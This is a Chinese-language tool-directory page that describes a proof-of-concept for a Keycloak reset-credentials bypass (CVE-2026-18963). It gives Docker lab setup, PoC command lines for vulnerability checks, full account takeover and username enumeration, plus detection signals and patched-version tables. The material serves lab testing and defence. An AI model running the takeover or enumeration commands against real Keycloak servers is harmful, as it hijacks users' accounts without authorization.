Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/prot0tw/keycloak_cve-2026-18963_poc
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试身份验证实验室与实践
GitHubprot0tw/keycloak_cve-2026-18963_poc

Keycloak_CVE-2026-18963_PoC

此仓库是 cve-2026-18963 的 PoC。请仅在合法产品(实验室、本地环境等)上使用。

查看仓库
122天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-18963

Keycloak reset-credentials 绕过 → 未认证账户接管 CVSS 9.1 | 受影响版本:Keycloak 26.0.0 – 26.7.1

本实验环境根据 snizi/cve-2026-18963-exploit 的原始 README 重建。


目录结构

root@kitploit:~
CVE-2026-18963/
├── cve_2026_18963_poc.py   <- PoC 脚本(Python 3.9+,仅使用标准库)
├── README.md
├── docker-compose.yml      <- 实验环境
└── realm-poc.json          <- Keycloak realm 配置(自动导入)

环境要求

  • Docker + Docker Compose
  • Python 3.9+(仅使用标准库,无需安装任何依赖)
  • Linux

步骤 1:启动实验环境

root@kitploit:~
docker compose up -d

或者直接运行 Keycloak,不导入 realm:

root@kitploit:~
docker run -p 127.0.0.1:8080:8080 \
  -e KC_BOOTSTRAP_ADMIN_USERNAME=admin \
  -e KC_BOOTSTRAP_ADMIN_PASSWORD=admin \
  quay.io/keycloak/keycloak:26.7.1 start-dev

等待约 30–60 秒,让 Keycloak 完成启动。

服务

服务URL版本状态
kc-vulnhttp://localhost:808026.7.1存在漏洞 ⚠️
Mailpithttp://localhost:8025latest捕获邮件

默认凭据

  • Keycloak 管理员:admin / admin
  • 受害者用户:victim / OriginalPassw0rd!
  • Realm:poc | 客户端:poc-app
  • 验证配置:Realm 设置 → 登录选项卡 → 忘记密码 已开启。
  • 如果缺少 poc realm 或 victim 用户,请手动导入: 管理 Realm → 创建 Realm → 上传 realm-poc.json。

步骤 2:运行 PoC

安全检查(无需用户名,无副作用)

root@kitploit:~
python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --safe-check

在 kc-vuln 上的预期结果: [!] VULNERABLE — email gate execution served


非破坏性验证(在更新密码表单处停止)

root@kitploit:~
python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --victim victim --check

副作用:会向受害者发送一封重置邮件(可在 http://localhost:8025 查看), 并且 emailVerified 会被设置为 true。


完全接管

root@kitploit:~
python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --victim victim \
  --new-password 'PoCPassw0rd!1'

之后,可通过访问 http://localhost:8080/realms/poc/account 并使用 victim / PoCPassw0rd!1 登录来验证。


用户名枚举

root@kitploit:~
printf 'victim\nadmin\nnobody\n' > userlist.txt

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --enum userlist.txt

步骤 3:将受害者重置为初始状态

realm 仅在首次启动时导入,因此最简单的重置方式是重新创建环境:

root@kitploit:~
docker compose down -v && docker compose up -d

或者,在管理控制台(http://localhost:8080/admin)中手动重置密码: 用户 → victim → 凭据 → 重置密码 → OriginalPassw0rd!。


环境清理

root@kitploit:~
docker compose down -v

检测信号

信号合法行为利用行为
GET /login-actions/action-token?...✅ 是❌ 否
POST .../reset-credentials 且请求体包含 tryAnotherWay=yes❌ 否✅ 是
SEND_RESET_PASSWORD → UPDATE_PASSWORD 且使用相同的 code_id,间隔 < 2 秒罕见✅ 总是
emailVerified 翻转为 true 但无 VERIFY_EMAIL 事件❌✅ 总是

在 Mailpit(http://localhost:8025)中,密码重置邮件会到达受害者的邮箱, 但利用成功时,邮件中的链接从未被点击。


受影响版本

发布线受影响版本修复版本
≤ 17 (WildFly)否—
26.0 – 26.326.0.0 – 26.x.x无(必须升级到 26.7.2)
26.426.4.0 – 26.4.1426.4.15(厂商向后移植)
26.526.5.0 – 26.5.7无
26.626.6.0 – 26.6.526.6.6(厂商向后移植)
26.726.7.0 – 26.7.126.7.2 ✅

26.0 之前的版本不受影响:粘性 AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED 备注以及重置流程中的“尝试其他方式”选择器屏幕是在 26.0.0 中引入的。 旧版本只是缺少易受攻击的代码路径——这与已打补丁不同。


参考链接

  • Sploitus(原始 README):https://sploitus.com/exploit?id=A76D2FC5-1440-568B-81C2-B0213465485E
  • Keycloak issue:https://github.com/keycloak/keycloak/issues/51833
  • 修复 PR:https://github.com/keycloak/keycloak/pull/51844
  • GHSA:GHSA-4gv3-mc9p-5wqc
  • Red Hat:https://access.redhat.com/security/cve/cve-2026-18963
下载工具